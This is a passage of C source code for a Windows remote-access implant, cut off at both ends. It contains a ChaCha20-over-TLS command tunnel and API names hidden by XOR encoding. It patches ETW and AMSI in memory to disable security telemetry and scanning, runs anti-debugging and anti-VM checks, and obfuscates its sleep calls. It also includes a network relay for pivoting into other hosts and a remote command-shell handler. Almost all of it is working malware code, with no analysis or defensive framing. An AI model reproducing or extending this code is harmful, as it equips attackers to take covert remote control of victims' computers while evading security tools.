        r = send(s, (const char*)(buf + sent), len - sent, 0);
        if (r <= 0) return -1;
        sent += r;
    }
    return sent;
}

static int raw_recv_some(SOCKET s, uint8_t *buf, int max_len) {
    return recv(s, (char*)buf, max_len, 0);
}

/* =========================================================================
 * SECTION G: TLS-aware tunnel send/recv
 *
 * The ChaCha20-encrypted frames are sent through TLS, providing
 * double encryption. All frame I/O goes through the TLS layer.
 * ========================================================================= */

/* Global TLS context pointer — set after TLS handshake succeeds */
static TLS_CTX *g_tls = NULL;

/* Send: [len:4][nonce:12][ciphertext][tag:16] — through TLS */
static int tunnel_send(CC20Ctx *ctx, SOCKET s, const uint8_t *data, int len) {
    uint8_t nonce[12];
    uint8_t poly_key[64];
    uint8_t tag[16];
    int frame_len, total, r;
    uint8_t *frame;

    (void)s; /* socket unused, we use g_tls */

    if (len < 0 || len > MAX_FRAME_SIZE) return -1;
    frame_len = 12 + len + 16;
    frame = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, frame_len + 4);
    if (!frame) return -1;

    EnterCriticalSection(&g_lock);
    cc20_make_nonce(ctx->send_ctr, nonce);
    ctx->send_ctr++;
    LeaveCriticalSection(&g_lock);

    chacha20_block(ctx->key, 0, nonce, poly_key);

    memcpy(frame + 4 + 12, data, len);
    chacha20_crypt(ctx->key, nonce, 1, frame + 4 + 12, len);
    memcpy(frame + 4, nonce, 12);

    simple_mac(poly_key, frame + 4 + 12, len, tag);
    memcpy(frame + 4 + 12 + len, tag, 16);

    frame[0] = (frame_len >> 24) & 0xff;
    frame[1] = (frame_len >> 16) & 0xff;
    frame[2] = (frame_len >> 8)  & 0xff;
    frame[3] = frame_len & 0xff;

    total = frame_len + 4;
    r = tls_send(g_tls, frame, total);
    HeapFree(GetProcessHeap(), 0, frame);
    return (r == total) ? 0 : -1;
}

/* Helper: read exact number of bytes through TLS */
static int tls_recv_exact(TLS_CTX *tls, uint8_t *buf, int needed) {
    int got = 0;
    while (got < needed) {
        int r = tls_recv(tls, buf + got, needed - got);
        if (r <= 0) return -1;
        got += r;
    }
    return got;
}

/* Recv: [len:4][nonce:12][ciphertext][tag:16] — through TLS */
static int tunnel_recv(CC20Ctx *ctx, SOCKET s, uint8_t *out, int max_len) {
    uint8_t lb[4];
    uint8_t poly_key[64];
    uint8_t expected[16];
    uint32_t frame_len;
    uint8_t *frame;
    uint8_t *nonce;
    uint8_t *ct;
    uint8_t *tag;
    int ct_len;

    (void)s; /* socket unused, we use g_tls */

    if (tls_recv_exact(g_tls, lb, 4) < 0) return -1;

    frame_len = ((uint32_t)lb[0]<<24) | ((uint32_t)lb[1]<<16) |
                ((uint32_t)lb[2]<<8)  | (uint32_t)lb[3];
    if (frame_len > MAX_FRAME_SIZE || frame_len < 28) return -1;

    frame = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, frame_len);
    if (!frame) return -1;

    if (tls_recv_exact(g_tls, frame, (int)frame_len) < 0) {
        HeapFree(GetProcessHeap(), 0, frame);
        return -1;
    }

    nonce = frame;
    ct_len = (int)frame_len - 12 - 16;
    ct = frame + 12;
    tag = frame + 12 + ct_len;
    if (ct_len < 0 || ct_len > max_len) {
        HeapFree(GetProcessHeap(), 0, frame);
        return -1;
    }

    chacha20_block(ctx->key, 0, nonce, poly_key);
    simple_mac(poly_key, ct, ct_len, expected);

    if (memcmp(tag, expected, 16) != 0) {
        HeapFree(GetProcessHeap(), 0, frame);
        return -1;
    }

    memcpy(out, ct, ct_len);
    chacha20_crypt(ctx->key, nonce, 1, out, ct_len);
    HeapFree(GetProcessHeap(), 0, frame);
    return ct_len;
}

static int sendall(SOCKET s, const char *buf, int len) {
    int sent = 0, r;
    while (sent < len) { r = send(s, buf+sent, len-sent, 0); if (r <= 0) return -1; sent += r; }
    return sent;
}

/* =========================================================================
 * SECTION H: Dynamic API Resolution (x86)
 * ========================================================================= */
typedef LPVOID  (WINAPI *tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE  (WINAPI *tCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef HANDLE  (WINAPI *tCreateEventA)(LPSECURITY_ATTRIBUTES, BOOL, BOOL, LPCSTR);
typedef BOOL    (WINAPI *tSetEvent)(HANDLE);
typedef DWORD   (WINAPI *tWaitForSingleObject)(HANDLE, DWORD);
typedef BOOL    (WINAPI *tCloseHandle)(HANDLE);
typedef HANDLE  (WINAPI *tCreateTimerQueue)(void);
typedef BOOL    (WINAPI *tCreateTimerQueueTimer)(PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG);
typedef BOOL    (WINAPI *tDeleteTimerQueueEx)(HANDLE, HANDLE);
typedef DWORD   (WINAPI *tGetTickCount)(void);
typedef void    (WINAPI *tSleep)(DWORD);
typedef BOOL    (WINAPI *tCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef BOOL    (WINAPI *tCreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD);
typedef BOOL    (WINAPI *tReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef BOOL    (WINAPI *tWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
typedef HANDLE  (WINAPI *tCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef DWORD   (WINAPI *tGetFileSize)(HANDLE, LPDWORD);
typedef HANDLE  (WINAPI *tCreateToolhelp32Snapshot)(DWORD, DWORD);
typedef BOOL    (WINAPI *tProcess32First)(HANDLE, LPPROCESSENTRY32);
typedef BOOL    (WINAPI *tProcess32Next)(HANDLE, LPPROCESSENTRY32);
typedef BOOL    (WINAPI *tGetLastInputInfo)(PLASTINPUTINFO);
typedef BOOL    (WINAPI *tGlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
typedef void    (WINAPI *tGetSystemInfo)(LPSYSTEM_INFO);
typedef BOOL    (WINAPI *tIsDebuggerPresent)(void);
typedef BOOL    (WINAPI *tCheckRemoteDebuggerPresent)(HANDLE, PBOOL);
typedef HANDLE  (WINAPI *tGetCurrentProcess)(void);
typedef BOOL    (WINAPI *tPeekNamedPipe)(HANDLE, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD);
typedef HMODULE (WINAPI *tLoadLibraryA)(LPCSTR);

static struct {
    tVirtualProtect            pVirtualProtect;
    tCreateThread              pCreateThread;
    tCreateEventA              pCreateEventA;
    tSetEvent                  pSetEvent;
    tWaitForSingleObject       pWaitForSingleObject;
    tCloseHandle               pCloseHandle;
    tCreateTimerQueue          pCreateTimerQueue;
    tCreateTimerQueueTimer     pCreateTimerQueueTimer;
    tDeleteTimerQueueEx        pDeleteTimerQueueEx;
    tGetTickCount              pGetTickCount;
    tSleep                     pSleep;
    tCreateProcessA            pCreateProcessA;
    tCreatePipe                pCreatePipe;
    tReadFile                  pReadFile;
    tWriteFile                 pWriteFile;
    tCreateFileA               pCreateFileA;
    tGetFileSize               pGetFileSize;
    tCreateToolhelp32Snapshot  pCreateToolhelp32Snapshot;
    tProcess32First            pProcess32First;
    tProcess32Next             pProcess32Next;
    tGetLastInputInfo          pGetLastInputInfo;
    tGlobalMemoryStatusEx      pGlobalMemoryStatusEx;
    tGetSystemInfo             pGetSystemInfo;
    tIsDebuggerPresent         pIsDebuggerPresent;
    tCheckRemoteDebuggerPresent pCheckRemoteDebuggerPresent;
    tGetCurrentProcess         pGetCurrentProcess;
    tPeekNamedPipe             pPeekNamedPipe;
    tLoadLibraryA              pLoadLibraryA;
} api;

/* Encrypted API names (XOR 0x5A) */
static unsigned char enc_VirtualProtect[]= {0x0c,0x33,0x28,0x2e,0x2f,0x3b,0x36,0x0a,0x28,0x35,0x2e,0x3f,0x39,0x2e};
static unsigned char enc_CreateThread[]  = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x32,0x28,0x3f,0x3b,0x3e};
static unsigned char enc_CreateEventA[]  = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x1f,0x2c,0x3f,0x34,0x2e,0x1b};
static unsigned char enc_SetEvent[]      = {0x09,0x3f,0x2e,0x1f,0x2c,0x3f,0x34,0x2e};
static unsigned char enc_WaitForSingleObject[] = {0x0d,0x3b,0x33,0x2e,0x1c,0x35,0x28,0x09,0x33,0x34,0x3d,0x36,0x3f,0x15,0x38,0x30,0x3f,0x39,0x2e};
static unsigned char enc_CloseHandle[]   = {0x19,0x36,0x35,0x29,0x3f,0x12,0x3b,0x34,0x3e,0x36,0x3f};
static unsigned char enc_CreateTimerQueue[]      = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f};
static unsigned char enc_CreateTimerQueueTimer[] = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f,0x0e,0x33,0x37,0x3f,0x28};
static unsigned char enc_DeleteTimerQueueEx[]    = {0x1e,0x3f,0x36,0x3f,0x2e,0x3f,0x0e,0x33,0x37,0x3f,0x28,0x0b,0x2f,0x3f,0x2f,0x3f,0x1f,0x22};
static unsigned char enc_GetTickCount[]  = {0x1d,0x3f,0x2e,0x0e,0x33,0x39,0x31,0x19,0x35,0x2f,0x34,0x2e};
static unsigned char enc_Sleep_[]        = {0x09,0x36,0x3f,0x3f,0x2a};
static unsigned char enc_CreateProcessA[]= {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x1b};
static unsigned char enc_CreatePipe[]    = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0a,0x33,0x2a,0x3f};
static unsigned char enc_ReadFile[]      = {0x08,0x3f,0x3b,0x3e,0x1c,0x33,0x36,0x3f};
static unsigned char enc_WriteFile[]     = {0x0d,0x28,0x33,0x2e,0x3f,0x1c,0x33,0x36,0x3f};
static unsigned char enc_CreateFileA[]   = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x1c,0x33,0x36,0x3f,0x1b};
static unsigned char enc_GetFileSize[]   = {0x1d,0x3f,0x2e,0x1c,0x33,0x36,0x3f,0x09,0x33,0x20,0x3f};
static unsigned char enc_CreateToolhelp32Snapshot[] = {0x19,0x28,0x3f,0x3b,0x2e,0x3f,0x0e,0x35,0x35,0x36,0x32,0x3f,0x36,0x2a,0x69,0x68,0x09,0x34,0x3b,0x2a,0x29,0x32,0x35,0x2e};
static unsigned char enc_Process32First[]= {0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x69,0x68,0x1c,0x33,0x28,0x29,0x2e};
static unsigned char enc_Process32Next[] = {0x0a,0x28,0x35,0x39,0x3f,0x29,0x29,0x69,0x68,0x14,0x3f,0x22,0x2e};
static unsigned char enc_GetLastInputInfo[]      = {0x1d,0x3f,0x2e,0x16,0x3b,0x29,0x2e,0x13,0x34,0x2a,0x2f,0x2e,0x13,0x34,0x3c,0x35};
static unsigned char enc_GlobalMemoryStatusEx[]  = {0x1d,0x36,0x35,0x38,0x3b,0x36,0x17,0x3f,0x37,0x35,0x28,0x23,0x09,0x2e,0x3b,0x2e,0x2f,0x29,0x1f,0x22};
static unsigned char enc_GetSystemInfo[] = {0x1d,0x3f,0x2e,0x09,0x23,0x29,0x2e,0x3f,0x37,0x13,0x34,0x3c,0x35};
static unsigned char enc_IsDebuggerPresent[]          = {0x13,0x29,0x1e,0x3f,0x38,0x2f,0x3d,0x3d,0x3f,0x28,0x0a,0x28,0x3f,0x29,0x3f,0x34,0x2e};
static unsigned char enc_CheckRemoteDebuggerPresent[] = {0x19,0x32,0x3f,0x39,0x31,0x08,0x3f,0x37,0x35,0x2e,0x3f,0x1e,0x3f,0x38,0x2f,0x3d,0x3d,0x3f,0x28,0x0a,0x28,0x3f,0x29,0x3f,0x34,0x2e};
static unsigned char enc_GetCurrentProcess[] = {0x1d,0x3f,0x2e,0x19,0x2f,0x28,0x28,0x3f,0x34,0x2e,0x0a,0x28,0x35,0x39,0x3f,0x29,0x29};
static unsigned char enc_PeekNamedPipe[] = {0x0a,0x3f,0x3f,0x31,0x14,0x3b,0x37,0x3f,0x3e,0x0a,0x33,0x2a,0x3f};
static unsigned char enc_LoadLibraryA[]  = {0x16,0x35,0x3b,0x3e,0x16,0x33,0x38,0x28,0x3b,0x28,0x23,0x1b};

/* Encrypted DLL / string names */
static unsigned char enc_ntdll_dll[]    = {0x34,0x2e,0x3e,0x36,0x36,0x74,0x3e,0x36,0x36};
static unsigned char enc_EtwEventWrite[]= {0x1f,0x2e,0x2d,0x1f,0x2c,0x3f,0x34,0x2e,0x0d,0x28,0x33,0x2e,0x3f};
static unsigned char enc_amsi_dll[]     = {0x3b,0x37,0x29,0x33,0x74,0x3e,0x36,0x36};
static unsigned char enc_AmsiScanBuffer[]= {0x1b,0x37,0x29,0x33,0x09,0x39,0x3b,0x34,0x18,0x2f,0x3c,0x3c,0x3f,0x28};
static unsigned char enc_cmd_exe[]      = {0x39,0x37,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_vmtoolsd_exe[] = {0x2c,0x37,0x2e,0x35,0x35,0x36,0x29,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_VBoxService_exe[]= {0x0c,0x18,0x35,0x22,0x09,0x3f,0x28,0x2c,0x33,0x39,0x3f,0x74,0x3f,0x22,0x3f};

#define RESOLVE_API(hmod, enc_name, enc_len, field) do { \
    char _n[(enc_len)+1]; decrypt_str((enc_name),(enc_len),_n); \
    api.field = (typeof(api.field))GetProcAddress((hmod), _n); \
    memset(_n, 0, sizeof(_n)); \
} while(0)

static void resolve_apis(void) {
    HMODULE k32 = GetModuleHandleA("kernel32.dll");

    RESOLVE_API(k32, enc_VirtualProtect, 14, pVirtualProtect);
    RESOLVE_API(k32, enc_CreateThread, 12, pCreateThread);
    RESOLVE_API(k32, enc_CreateEventA, 12, pCreateEventA);
    RESOLVE_API(k32, enc_SetEvent, 8, pSetEvent);
    RESOLVE_API(k32, enc_WaitForSingleObject, 19, pWaitForSingleObject);
    RESOLVE_API(k32, enc_CloseHandle, 11, pCloseHandle);
    RESOLVE_API(k32, enc_CreateTimerQueue, 16, pCreateTimerQueue);
    RESOLVE_API(k32, enc_CreateTimerQueueTimer, 21, pCreateTimerQueueTimer);
    RESOLVE_API(k32, enc_DeleteTimerQueueEx, 18, pDeleteTimerQueueEx);
    RESOLVE_API(k32, enc_GetTickCount, 12, pGetTickCount);
    RESOLVE_API(k32, enc_Sleep_, 5, pSleep);
    RESOLVE_API(k32, enc_CreateProcessA, 14, pCreateProcessA);
    RESOLVE_API(k32, enc_CreatePipe, 10, pCreatePipe);
    RESOLVE_API(k32, enc_ReadFile, 8, pReadFile);
    RESOLVE_API(k32, enc_WriteFile, 9, pWriteFile);
    RESOLVE_API(k32, enc_CreateFileA, 11, pCreateFileA);
    RESOLVE_API(k32, enc_GetFileSize, 11, pGetFileSize);
    RESOLVE_API(k32, enc_CreateToolhelp32Snapshot, 24, pCreateToolhelp32Snapshot);
    RESOLVE_API(k32, enc_Process32First, 14, pProcess32First);
    RESOLVE_API(k32, enc_Process32Next, 13, pProcess32Next);
    RESOLVE_API(k32, enc_GlobalMemoryStatusEx, 20, pGlobalMemoryStatusEx);
    RESOLVE_API(k32, enc_GetSystemInfo, 13, pGetSystemInfo);
    RESOLVE_API(k32, enc_IsDebuggerPresent, 17, pIsDebuggerPresent);
    RESOLVE_API(k32, enc_CheckRemoteDebuggerPresent, 26, pCheckRemoteDebuggerPresent);
    RESOLVE_API(k32, enc_GetCurrentProcess, 17, pGetCurrentProcess);
    RESOLVE_API(k32, enc_PeekNamedPipe, 13, pPeekNamedPipe);
    RESOLVE_API(k32, enc_LoadLibraryA, 12, pLoadLibraryA);

    HMODULE u32 = GetModuleHandleA("user32.dll");
    if (!u32 && api.pLoadLibraryA) u32 = api.pLoadLibraryA("user32.dll");
    if (u32) {
        RESOLVE_API(u32, enc_GetLastInputInfo, 16, pGetLastInputInfo);
    }
}

/* =========================================================================
 * SECTION I: ETW Bypass (x86: xor eax,eax; ret 0x14 — stdcall)
 * ========================================================================= */
static void patch_etw(void) {
    char ntdll_name[10];
    decrypt_str(enc_ntdll_dll, 9, ntdll_name);
    HMODULE ntdll = GetModuleHandleA(ntdll_name);
    memset(ntdll_name, 0, 10);
    if (!ntdll) return;

    char etw_name[14];
    decrypt_str(enc_EtwEventWrite, 13, etw_name);
    FARPROC etw = GetProcAddress(ntdll, etw_name);
    memset(etw_name, 0, 14);
    if (!etw) return;

    DWORD old;
    /* x86: xor eax,eax; ret 0x14 (5 args * 4 bytes stdcall cleanup) */
    unsigned char patch[] = {0x33, 0xC0, 0xC2, 0x14, 0x00};
    VirtualProtect((LPVOID)etw, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy((void*)etw, patch, sizeof(patch));
    VirtualProtect((LPVOID)etw, sizeof(patch), old, &old);
}

/* =========================================================================
 * SECTION J: AMSI Bypass (x86: mov eax, E_INVALIDARG; ret 0x18 — stdcall)
 * ========================================================================= */
static void patch_amsi(void) {
    char amsi_name[9];
    decrypt_str(enc_amsi_dll, 8, amsi_name);
    HMODULE amsi = NULL;
    if (api.pLoadLibraryA) amsi = api.pLoadLibraryA(amsi_name);
    else amsi = LoadLibraryA(amsi_name);
    memset(amsi_name, 0, 9);
    if (!amsi) return;

    char func_name[15];
    decrypt_str(enc_AmsiScanBuffer, 14, func_name);
    FARPROC target = GetProcAddress(amsi, func_name);
    memset(func_name, 0, 15);
    if (!target) return;

    DWORD old;
    /* x86: mov eax, 0x80070057; ret 0x18 (6 args stdcall) */
    unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00};
    VirtualProtect((LPVOID)target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy((void*)target, patch, sizeof(patch));
    VirtualProtect((LPVOID)target, sizeof(patch), old, &old);
}

/* =========================================================================
 * SECTION K: Anti-Debug (x86: PEB via fs:0x30)
 * ========================================================================= */
static int check_debugger(void) {
    /* 1. IsDebuggerPresent */
    if (api.pIsDebuggerPresent && api.pIsDebuggerPresent()) return 1;

    /* 2. CheckRemoteDebuggerPresent */
    if (api.pCheckRemoteDebuggerPresent && api.pGetCurrentProcess) {
        BOOL remote = FALSE;
        api.pCheckRemoteDebuggerPresent(api.pGetCurrentProcess(), &remote);
        if (remote) return 1;
    }

    /* 3. PEB->BeingDebugged via fs:0x30 (x86 TEB->PEB) */
    unsigned char being_debugged = 0;
    __asm__ volatile (
        "movl %%fs:0x30, %%eax\n"    /* PEB pointer (x86) */
        "movb 0x2(%%eax), %0\n"      /* PEB->BeingDebugged */
        : "=r"(being_debugged) : : "eax"
    );
    if (being_debugged) return 1;

    /* 4. NtGlobalFlag (offset 0x68 in PEB for x86) */
    unsigned int ntglobal = 0;
    __asm__ volatile (
        "movl %%fs:0x30, %%eax\n"
        "movl 0x68(%%eax), %0\n"
        : "=r"(ntglobal) : : "eax"
    );
    if (ntglobal & 0x70) return 1;

    /* 5. RDTSC timing */
    unsigned long long tsc1, tsc2;
    volatile int dummy = 0;
    int i;
    __asm__ volatile ("rdtsc" : "=A"(tsc1));
    for (i = 0; i < 1000; i++) dummy += i;
    __asm__ volatile ("rdtsc" : "=A"(tsc2));
    if ((tsc2 - tsc1) > 0x100000) return 1;

    return 0;
}

/* =========================================================================
 * SECTION L: Anti-VM
 * ========================================================================= */
static int check_vm(void) {
    /* 1. CPU cores >= 2 */
    if (api.pGetSystemInfo) {
        SYSTEM_INFO si;
        memset(&si, 0, sizeof(si));
        api.pGetSystemInfo(&si);
        if (si.dwNumberOfProcessors < 2) return 1;
    }

    /* 2. RAM >= 2 GB */
    if (api.pGlobalMemoryStatusEx) {
        MEMORYSTATUSEX ms;
        memset(&ms, 0, sizeof(ms));
        ms.dwLength = sizeof(ms);
        if (api.pGlobalMemoryStatusEx(&ms)) {
            if (ms.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) return 1;
        }
    }

    /* 3. VM process detection */
    if (api.pCreateToolhelp32Snapshot && api.pProcess32First && api.pProcess32Next) {
        HANDLE snap = api.pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (snap != INVALID_HANDLE_VALUE) {
            PROCESSENTRY32 pe;
            pe.dwSize = sizeof(pe);

            char vm1[13]; decrypt_str(enc_vmtoolsd_exe, 12, vm1);
            char vm2[15]; decrypt_str(enc_VBoxService_exe, 14, vm2);

            if (api.pProcess32First(snap, &pe)) {
                do {
                    char *name = pe.szExeFile;
                    int nl = (int)strlen(name);
                    int match1 = 1, match2 = 1;
                    int j;

                    if (nl == 12) {
                        for (j = 0; j < 12; j++) {
                            char a = name[j], b = vm1[j];
                            if (a >= 'A' && a <= 'Z') a += 32;
                            if (b >= 'A' && b <= 'Z') b += 32;
                            if (a != b) { match1 = 0; break; }
                        }
                    } else match1 = 0;

                    if (nl == 14) {
                        for (j = 0; j < 14; j++) {
                            char a = name[j], b = vm2[j];
                            if (a >= 'A' && a <= 'Z') a += 32;
                            if (b >= 'A' && b <= 'Z') b += 32;
                            if (a != b) { match2 = 0; break; }
                        }
                    } else match2 = 0;

                    if (match1 || match2) {
                        memset(vm1, 0, 13); memset(vm2, 0, 15);
                        if (api.pCloseHandle) api.pCloseHandle(snap);
                        else CloseHandle(snap);
                        return 1;
                    }
                } while (api.pProcess32Next(snap, &pe));
            }
            memset(vm1, 0, 13); memset(vm2, 0, 15);
            if (api.pCloseHandle) api.pCloseHandle(snap);
            else CloseHandle(snap);
        }
    }
    return 0;
}

/* =========================================================================
 * SECTION M: Sleep Obfuscation — CreateTimerQueueTimer
 * ========================================================================= */
static void obfuscated_sleep(DWORD ms) {
    HANDLE hEvent = NULL;
    if (api.pCreateEventA)
        hEvent = api.pCreateEventA(NULL, TRUE, FALSE, NULL);
    else
        hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);

    if (!hEvent) {
        if (api.pSleep) api.pSleep(ms); else Sleep(ms);
        return;
    }

    HANDLE hQueue = NULL;
    if (api.pCreateTimerQueue) hQueue = api.pCreateTimerQueue();
    else hQueue = CreateTimerQueue();

    if (!hQueue) {
        if (api.pCloseHandle) api.pCloseHandle(hEvent); else CloseHandle(hEvent);
        if (api.pSleep) api.pSleep(ms); else Sleep(ms);
        return;
    }

    HANDLE hTimer = NULL;
    if (api.pCreateTimerQueueTimer) {
        api.pCreateTimerQueueTimer(&hTimer, hQueue,
            (WAITORTIMERCALLBACK)SetEvent, hEvent, ms, 0, WT_EXECUTEINTIMERTHREAD);
    } else {
        CreateTimerQueueTimer(&hTimer, hQueue,
            (WAITORTIMERCALLBACK)SetEvent, hEvent, ms, 0, WT_EXECUTEINTIMERTHREAD);
    }

    if (api.pWaitForSingleObject) api.pWaitForSingleObject(hEvent, INFINITE);
    else WaitForSingleObject(hEvent, INFINITE);

    if (api.pDeleteTimerQueueEx) api.pDeleteTimerQueueEx(hQueue, NULL);
    else DeleteTimerQueueEx(hQueue, NULL);

    if (api.pCloseHandle) api.pCloseHandle(hEvent); else CloseHandle(hEvent);
}

/* =========================================================================
 * SECTION N: Stream management
 * ========================================================================= */
typedef struct { uint32_t id; SOCKET sock; int active; } Stream;
static Stream streams[MAX_STREAMS];
static SOCKET g_tunnel = INVALID_SOCKET;
static CC20Ctx g_ctx;
static volatile DWORD g_sleep_seconds = 0;

static void send_cmd(uint8_t cmd, uint32_t sid, uint8_t *data, int dlen) {
    int total = 5 + dlen;
    uint8_t *msg = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, total);
    if (!msg) return;
    msg[0] = cmd;
    msg[1] = (sid>>24)&0xff; msg[2] = (sid>>16)&0xff;
    msg[3] = (sid>>8)&0xff;  msg[4] = sid&0xff;
    if (data && dlen > 0) memcpy(msg + 5, data, dlen);
    tunnel_send(&g_ctx, g_tunnel, msg, total);
    HeapFree(GetProcessHeap(), 0, msg);
}

/* =========================================================================
 * SECTION O: Connect thread
 * ========================================================================= */
typedef struct { uint32_t sid; uint8_t data[512]; int dlen; } ConnectArgs;

static DWORD WINAPI handle_connect_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    int dlen = args->dlen;
    int i;

    if (dlen < 3) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    uint8_t alen = args->data[0];
    if (dlen < 1 + alen + 2) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    char host[256];
    memset(host, 0, 256);
    memcpy(host, args->data + 1, alen);
    uint16_t port = ((uint16_t)args->data[1+alen]<<8) | (uint16_t)args->data[2+alen];

    int active_count = 0;
    for (i = 0; i < MAX_STREAMS; i++) if (streams[i].active) active_count++;
    if (active_count >= MAX_STREAMS - 10) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }

    /* Use inet_addr + gethostbyname for Win2003 compat (no getaddrinfo) */
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = inet_addr(host);
    if (sa.sin_addr.s_addr == INADDR_NONE) {
        struct hostent *he = gethostbyname(host);
        if (!he) {
            send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
            HeapFree(GetProcessHeap(), 0, args);
            return 0;
        }
        memcpy(&sa.sin_addr, he->h_addr_list[0], 4);
    }

    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }

    DWORD timeout_ms = 5000;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout_ms, sizeof(timeout_ms));
    if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
        closesocket(s);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    timeout_ms = 0;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout_ms, sizeof(timeout_ms));

    Stream *st = NULL;
    for (i = 0; i < MAX_STREAMS; i++) {
        if (!streams[i].active) {
            streams[i].id = sid; streams[i].sock = s; streams[i].active = 1;
            st = &streams[i]; break;
        }
    }
    if (!st) {
        closesocket(s);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    send_cmd(CMD_CONNECT_OK, sid, NULL, 0);
    HeapFree(GetProcessHeap(), 0, args);

    /* Relay: read from target -> tunnel */
    {
        uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
        if (!buf) { send_cmd(CMD_CLOSE, st->id, NULL, 0); st->active = 0; closesocket(st->sock); return 0; }
        while (st->active) {
            int r = recv(st->sock, (char*)buf, BUF_SIZE, 0);
            if (r <= 0) break;
            send_cmd(CMD_DATA, st->id, buf, r);
        }
        HeapFree(GetProcessHeap(), 0, buf);
    }
    send_cmd(CMD_CLOSE, st->id, NULL, 0);
    st->active = 0;
    closesocket(st->sock);
    return 0;
}

/* =========================================================================
 * SECTION P: Shell command support
 * ========================================================================= */
typedef struct {
    uint32_t sid;
    HANDLE hProcess;
    HANDLE hStdinWrite;
    HANDLE hStdoutRead;
    volatile int running;
} ShellCtx;

#define MAX_SHELLS 4
static ShellCtx g_shells[MAX_SHELLS];

static DWORD WINAPI shell_reader_thread(LPVOID p) {
    ShellCtx *ctx = (ShellCtx*)p;
    uint8_t buf[4096];
    DWORD nread;
    while (ctx->running) {
        DWORD avail = 0;
        if (api.pPeekNamedPipe)
            api.pPeekNamedPipe(ctx->hStdoutRead, NULL, 0, NULL, &avail, NULL);
        else
            PeekNamedPipe(ctx->hStdoutRead, NULL, 0, NULL, &avail, NULL);

        if (avail > 0) {
            DWORD toread = avail > sizeof(buf) ? sizeof(buf) : avail;
            BOOL ok;
            if (api.pReadFile)
                ok = api.pReadFile(ctx->hStdoutRead, buf, toread, &nread, NULL);
            else
                ok = ReadFile(ctx->hStdoutRead, buf, toread, &nread, NULL);
            if (ok && nread > 0) {
                send_cmd(CMD_SHELL_DATA, ctx->sid, buf, (int)nread);
            } else {
                break;
            }
        } else {
            DWORD exitcode = 0;
            GetExitCodeProcess(ctx->hProcess, &exitcode);
            if (exitcode != STILL_ACTIVE) break;
            Sleep(50);
        }
    }
    ctx->running = 0;
    send_cmd(CMD_SHELL_CLOSE, ctx->sid, NULL, 0);
    return 0;
}

static void handle_shell_open(uint32_t sid) {
    ShellCtx *sc = NULL;
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (!g_shells[i].running && g_shells[i].hProcess == NULL) {
            sc = &g_shells[i]; break;
        }
    }
    if (!sc) { send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return; }

    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    HANDLE hStdinRead, hStdinWrite, hStdoutRead, hStdoutWrite;

